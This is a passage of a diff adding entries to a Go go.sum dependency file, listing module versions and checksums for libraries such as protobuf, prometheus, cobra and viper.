h1:cXg6YxExXjJnVBQHBLXeUAgxn2UodCpnH306RInaBQk= +github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= +github.com/frankban/quicktest v1.14.3 h1:FJKSZTDHjyhriyC81FLQ0LY93eSai0ZyR/ZIkd3ZUKE= +github.com/fsnotify/fsnotify v1.6.0 h1:n+5WquG0fcWoWp6xPWfHdbskMCQaFnG6PfBrh1Ky4HY= +github.com/fsnotify/fsnotify v1.6.0/go.mod h1:sl3t1tCWJFWoRz9R8WJCbQihKKwmorjAbSClcnxKAGw= +github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04= +github.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1/go.mod h1:vR7hzQXu2zJy9AVAgeJqvqgH9Q5CA+iKCZ2gyEVpxRU= +github.com/go-gl/glfw/v3.3/glfw v0.0.0-20191125211704-12ad95a8df72/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= +github.com/go-gl/glfw/v3.3/glfw v0.0.0-20200222043503-6f7a984d4dc4/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= +github.com/go-kit/kit v0.8.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as= +github.com/go-kit/kit v0.9.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as= +github.com/go-kit/log v0.1.0/go.mod h1:zbhenjAZHb184qTLMA9ZjW7ThYL0H2mk7Q6pNt4vbaY= +github.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE= +github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk= +github.com/go-logfmt/logfmt v0.5.0/go.mod h1:wCYkCAKZfumFQihp8CzCvQ3paCTfi41vtzG1KdI/P7A= +github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY= +github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ= +github.com/gogo/protobuf v1.3.2 h1:Ov1cvc58UF3b5XjBnZv7+opcTcQFZebYjWzi34vdm4Q= +github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q= +github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q= +github.com/golang/groupcache v0.0.0-20190702054246-869f871628b6/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= +github.com/golang/groupcache v0.0.0-20191227052852-215e87163ea7/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= +github.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= +github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= +github.com/golang/mock v1.2.0/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= +github.com/golang/mock v1.3.1/go.mod h1:sBzyDLLjw3U8JLTeZvSv8jJB+tU5PVekmnlKIyFUx0Y= +github.com/golang/mock v1.4.0/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw= +github.com/golang/mock v1.4.1/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw= +github.com/golang/mock v1.4.3/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw= +github.com/golang/mock v1.4.4/go.mod h1:l3mdAwkq5BuhzHwde/uurv3sEJeZMXNpwsxVWU71h+4= +github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= +github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= +github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= +github.com/golang/protobuf v1.3.3/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw= +github.com/golang/protobuf v1.3.4/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw= +github.com/golang/protobuf v1.3.5/go.mod h1:6O5/vntMXwX2lRkT1hjjk0nAC1IDOTvTlVgjlRvqsdk= +github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8= +github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA= +github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs= +github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w= +github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0= +github.com/golang/protobuf v1.4.1/go.mod h1:U8fpvMrcmy5pZrNK1lt4xCsGvpyWQ/VVv6QDs8UjoX8= +github.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= +github.com/golang/protobuf v1.4.3/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= +github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk= +github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= +github.com/golang/protobuf v1.5.3 h1:KhyjKVUg7Usr/dYsdSqoFveMYd5ko72D+zANwlG1mmg= +github.com/golang/protobuf v1.5.3/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= +github.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= +github.com/google/btree v1.0.0/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= +github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M= +github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= +github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= +github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.4.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.2/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.4/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38= +github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= +github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs= +github.com/google/martian/v3 v3.0.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0= +github.com/google/martian/v3 v3.1.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0= +github.com/google/pprof v0.0.0-20181206194817-3ea8567a2e57/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= +github.com/google/pprof v0.0.0-20190515194954-54271f7e092f/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= +github.com/google/pprof v0.0.0-20191218002539-d4f498aebedc/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= +github.com/google/pprof v0.0.0-20200212024743-f11f1df84d12/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= +github.com/google/pprof v0.0.0-20200229191704-1ebb73c60ed3/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= +github.com/google/pprof v0.0.0-20200430221834-fc25d7d30c6d/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= +github.com/google/pprof v0.0.0-20200708004538-1a94d8640e99/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= +github.com/google/pprof v0.0.0-20201023163331-3e6fc7fc9c4c/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= +github.com/google/pprof v0.0.0-20201203190320-1bf35d6f28c2/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= +github.com/google/pprof v0.0.0-20201218002935-b9804c9f04c2/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= +github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI= +github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/google/uuid v1.3.1 h1:KjJaJ9iWZ3jOFZIf1Lqf4laDRCasjl0BCmnEGxkdLb4= +github.com/google/uuid v1.3.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg= +github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk= +github.com/googleapis/google-cloud-go-testing v0.0.0-20200911160855-bcd43fbb19e8/go.mod h1:dvDLG8qkwmyD9a/MJJN3XJcT3xFxOKAvTZGvuZmac9g= +github.com/grpc-ecosystem/go-grpc-middleware v1.3.0 h1:+9834+KizmvFV7pXQGSXQTsaWhq2GjuNUt0aUU0YBYw= +github.com/grpc-ecosystem/go-grpc-middleware v1.3.0/go.mod h1:z0ButlSOZa5vEBq9m2m2hlwIgKw+rp3sdCBRoJY+30Y= +github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0 h1:Ovs26xHkKqVztRpIrF/92BcuyuQ/YW4NSIpoGtfXNho= +github.com/grpc-ecosystem/grpc-gateway v1.16.0 h1:gmcG1KaJ57LophUzW0Hy8NmPhnMZb4M0+kPpLofRdBo= +github.com/grpc-ecosystem/grpc-gateway v1.16.0/go.mod h1:BDjrQk3hbvj6Nolgz8mAMFbcEtjT1g+wF4CSlocrBnw= +github.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= +github.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= +github.com/hashicorp/hcl v1.0.0 h1:0Anlzjpi4vEasTeNFn2mLJgTSwt0+6sfsiTG8qcWGx4= +github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ= +github.com/ianlancetaylor/demangle v0.0.0-20181102032728-5e5cf60278f6/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc= +github.com/ianlancetaylor/demangle v0.0.0-20200824232613-28f6c0f3b639/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc= +github.com/inconshreveable/mousetrap v1.0.1 h1:U3uMjPSQEBMNp1lFxmllqCPM6P5u/Xq7Pgzkat/bFNc= +github.com/inconshreveable/mousetrap v1.0.1/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw= +github.com/jpillora/backoff v1.0.0/go.mod h1:J/6gKK9jxlEcS3zixgDgUAsiuZ7yrSoa/FX5e0EB2j4= +github.com/json-iterator/go v1.1.6/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU= +github.com/json-iterator/go v1.1.10/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= +github.com/json-iterator/go v1.1.11/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= +github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo= +github.com/jstemmer/go-junit-report v0.0.0-20190106144839-af01ea7f8024/go.mod h1:6v2b51hI/fHJwM22ozAgKL4VKDeJcHhJFhtBdhmNjmU= +github.com/jstemmer/go-junit-report v0.9.1/go.mod h1:Brl9GWCQeLvo8nXZwPNNblvFj/XSXhF0NWZEnDohbsk= +github.com/julienschmidt/httprouter v1.2.0/go.mod h1:SYymIcj16QtmaHHD7aYtjjsJG7VTCxuUUipMqKk8s4w= +github.com/julienschmidt/httprouter v1.3.0/go.mod h1:JR6WtHb+2LUe8TCKY3cZOxFyyO8IZAc4RVcycCCAKdM= +github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8= +github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck= +github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= +github.com/konsorten/go-windows-terminal-sequences v1.0.3/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= +github.com/kr/fs v0.1.0/go.mod h1:FFnZGqtBN9Gxj7eW1uZ42v5BccTP0vu6NEaFoC2HwRg= +github.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515/go.mod h1:+0opPa2QZZtGFBFZlji/RkVcI2GknAs/DXo4wKdlNEc= +github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= +github.com/kr/pretty v0.3.0 h1:WgNl7dwNpEZ6jJ9k1snq4pZsg7DOEN8hP9Xw0Tsjwk0= +github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= +github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= +github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= +github.com/magiconair/properties v1.8.7 h1:IeQXZAiQcpL9mgcAe1Nu6cX9LLw6ExEHKjN0VQdvPDY= +github.com/magiconair/properties v1.8.7/go.mod h1:Dhd985XPs7jluiymwWYZ0G4Z61jb3vdS329zhj2hYo0= +github.com/matttproud/golang_protobuf_extensions v1.0.1 h1:4hp9jkHxhMHkqkrB3Ix0jegS5sx/RkqARlsWZ6pIwiU= +github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0= +github.com/mitchellh/mapstructure v1.5.0 h1:jeMsZIYE/09sWLaz43PL7Gy6RuMjD2eJVyuac5Z2hdY= +github.com/mitchellh/mapstructure v1.5.0/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= +github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= +github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= +github.com/modern-go/reflect2 v0.0.0-20180701023420-4b7aa43c6742/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0= +github.com/modern-go/reflect2 v1.0.1/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0= +github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk= +github.com/mwitkow/go-conntrack v0.0.0-20161129095857-cc309e4a2223/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U= +github.com/mwitkow/go-conntrack v0.0.0-20190716064945-2f068394615f/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U= +github.com/o1egl/paseto v1.0.0 h1:bwpvPu2au176w4IBlhbyUv/S5VPptERIA99Oap5qUd0= +github.com/o1egl/paseto v1.0.0/go.mod h1:5HxsZPmw/3RI2pAwGo1HhOOwSdvBpcuVzO7uDkm+CLU= +github.com/opentracing/opentracing-go v1.1.0/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o= +github.com/pelletier/go-toml/v2 v2.0.6 h1:nrzqCb7j9cDFj2coyLNLaZuJTLjWjlaz6nvTvIwycIU= +github.com/pelletier/go-toml/v2 v2.0.6/go.mod h1:eumQOmlWiOPt5WriQQqoM5y18pDHwha2N+QD+EUNTek= +github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= +github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= +github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= +github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= +github.com/pkg/sftp v1.13.1/go.mod h1:3HaPG6Dq1ILlpPZRO0HVMrsydcdLt6HRDccSgb87qRg= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/prometheus/client_golang v0.9.1/go.mod h1:7SWBe2y4D6OKWSNQJUaRYU/AaXPKyh/dDVn+NZz0KFw= +github.com/prometheus/client_golang v1.0.0/go.mod h1:db9x61etRT2tGnBNRi70OPL5FsnadC4Ky3P0J6CfImo= +github.com/prometheus/client_golang v1.7.1/go.mod h1:PY5Wy2awLA44sXw4AOSfFBetzPP4j5+D6mVACh+pe2M= +github.com/prometheus/client_golang v1.11.0/go.mod h1:Z6t4BnS23TR94PD6BsDNk8yVqroYurpAkEiz0P2BEV0= +github.com/prometheus/client_golang v1.12.2 h1:51L9cDoUHVrXx4zWYlcLQIZ+d+VXHgqnYKkIuq4g/34= +github.com/prometheus/client_golang v1.12.2/go.mod h1:3Z9XVyYiZYEO+YQWt3RD2R3jrbd179Rt297l4aS6nDY= +github.com/prometheus/client_model v0.0.0-20180712105110-5c3871d89910/go.mod h1:MbSGuTsp3dbXC40dX6PRTWyKYBIrTGTE9sqQNg2J8bo= +github.com/prometheus/client_model v0.0.0-20190129233127-fd36f4220a90/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= +github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= +github.com/prometheus/client_model v0.2.0 h1:uq5h0d+GuxiXLJLNABMgp2qUWDPiLvgCzz2dUR+/W/M= +github.com/prometheus/client_model v0.2.0/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= +github.com/prometheus/common v0.4.1/go.mod h1:TNfzLD0ON7rHzMJeJkieUDPYmFC7Snx/y86RQel1bk4= +github.com/prometheus/common v0.10.0/go.mod h1:Tlit/dnDKsSWFlCLTWaA1cyBgKHSMdTB80sz/V91rCo= +github.com/prometheus/common v0.26.0/go.mod h1:M7rCNAaPfAosfx8veZJCuw84e35h3Cfd9VFqTh1DIvc= +github.com/prometheus/common v0.32.1 h1:hWIdL3N2HoUx3B8j3YN9mWor0qhY/NlEKZEaXxuIRh4= +github.com/prometheus/common v0.32.1/go.mod h1:vu+V0TpY+O6vW9J44gczi3Ap/oXXR10b+M/gUGO4Hls= +github.com/prometheus/procfs v0.0.0-20181005140218-185b4288413d/go.mod h1:c3At6R/oaqEKCNdg8wHV1ftS6bRYblBhIjjI8uT2IGk= +github.com/prometheus/procfs v0.0.2/go.mod h1:TjEm7ze935MbeOT/UhFTIMYKhuLP4wbCsTZCD3I8kEA= +github.com/prometheus/procfs v0.1.3/go.mod h1:lV6e/gmhEcM9IjHGsFOCxxuZ+z1YqCvr4OA4YeYWdaU= +github.com/prometheus/procfs v0.6.0/go.mod h1:cz+aTbrPOrUb4q7XlbU9ygM+/jj0fzG6c1xBZuNvfVA= +github.com/prometheus/procfs v0.7.3 h1:4jVXhlkAyzOScmCkXBTOLRLTz8EeU+eyjrwB/EPq0VU= +github.com/prometheus/procfs v0.7.3/go.mod h1:cz+aTbrPOrUb4q7XlbU9ygM+/jj0fzG6c1xBZuNvfVA= +github.com/rogpeppe/fastuuid v1.2.0/go.mod h1:jVj6XXZzXRy/MSR5jhDC/2q6DgLz+nrA6LYCDYWNEvQ= +github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4= +github.com/rogpeppe/go-internal v1.9.0 h1:73kH8U+JUqXU8lRuOHeVHaa/SZPifC7BkcraZVejAe8= +github.com/rogpeppe/go-internal v1.9.0/go.mod h1:WtVeX8xhTBvf0smdhujwtBcq4Qrzq/fJaraNFVN+nFs= +github.com/rs/xid v1.5.0 h1:mKX4bl4iPYJtEIxp6CYiUuLQ/8DYMoz0PUdtGgMFRVc= +github.com/rs/xid v1.5.0/go.mod h1:trrq9SKmegXys3aeAKXMUTdJsYXVwGY3RLcfgqegfbg= +github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= +github.com/sirupsen/logrus v1.2.0/go.mod h1:LxeOpSwHxABJmUn/MG1IvRgCAasNZTLOkJPxbbu5VWo= +github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6MwdIuYE2rE= +github.com/sirupsen/logrus v1.6.0/go.mod h1:7uNnSEd1DgxDLC74fIahvMZmmYsHGZGEOFrfsX/uA88= +github.com/spf13/afero v1.9.3 h1:41FoI0fD7OR7mGcKE/aOiLkGreyf8ifIOQmJANWogMk= +github.com/spf13/afero v1.9.3/go.mod h1:iUV7ddyEEZPO5gA3zD4fJt6iStLlL+Lg4m2cihcDf8Y= +github.com/spf13/cast v1.5.0 h1:rj3WzYc11XZaIZMPKmwP96zkFEnnAmV8s6XbB2aY32w= +github.com/spf13/cast v1.5.0/go.mod h1:SpXXQ5YoyJw6s3/6cMTQuxvgRl3PCJiyaX9p6b155UU= +github.com/spf13/cobra v1.6.1 h1:o94oiPyS4KD1mPy2fmcYYHHfCxLqYjJOhGsCHFZtEzA= +github.com/spf13/cobra v1.6.1/go.mod h1:IOw/AERYS7UzyrGinqmz6HLUo219MORXGxhbaJUqzrY= +github.com/spf13/jwalterweatherman v1.1.0 h1:ue6voC5bR5F8YxI5S67j9i582FU4Qvo2bmqnqMYADFk= +github.com/spf13/jwalterweatherman v1.1.0/go.mod h1:aNWZUN0dPAAO/Ljvb5BEdw96iTZ0EXowPYD95IqWIGo= +github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= +github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= +github.com/spf13/viper v1.15.0 h1:js3yy885G8xwJa6iOISGFwd+qlUo5AvyXb7CiihdtiU= +github.com/spf13/viper v1.15.0/go.mod h1:fFcTBJxvhhzSJiZy8n+PeW6t8l+KeT/uTARa0jHOQLA= +github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= +github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= +github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= +github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= +github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= +github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= +github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4= +github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA= +github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= +github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= +github.com/stretchr/testify v1.8.2 h1:+h33VjcLVPDHtOdpUCuF+7gSuG3yGIftsP1YvFihtJ8= +github.com/subosito/gotenv v1.4.2 h1:X1TuBLAMDFbaTAChgCBLu3DU3UPyELpnF2jjJ2cz/S8= +github.com/subosito/gotenv v1.4.2/go.mod h1:ayKnFf/c6rvx/2iiLrJUk1e6plDbT3edrFNGqEflhK0= +github.com/yuin/goldmark v1.1.25/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= +github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= +github.com/yuin/goldmark v1.1.32/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= +github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= +go.opencensus.io v0.21.0/go.mod h1:mSImk1erAIZhrmZN+AvHh14ztQfjbGwt4TtuofqLduU= +go.opencensus.io v0.22.0/go.mod h1:+kGneAE2xo2IficOXnaByMWTGM9T73dGwxeWcUqIpI8= +go.opencensus.io v0.22.2/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw= +go.opencensus.io v0.22.3/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw= +go.opencensus.io v0.22.4/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw= +go.opencensus.io v0.22.5/go.mod h1:5pWMHQbX5EPX2/62yrJeAkowc+lfs/XD7Uxpq3pI6kk= +go.uber.org/atomic v1.4.0/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE= +go.uber.org/multierr v1.1.0/go.mod 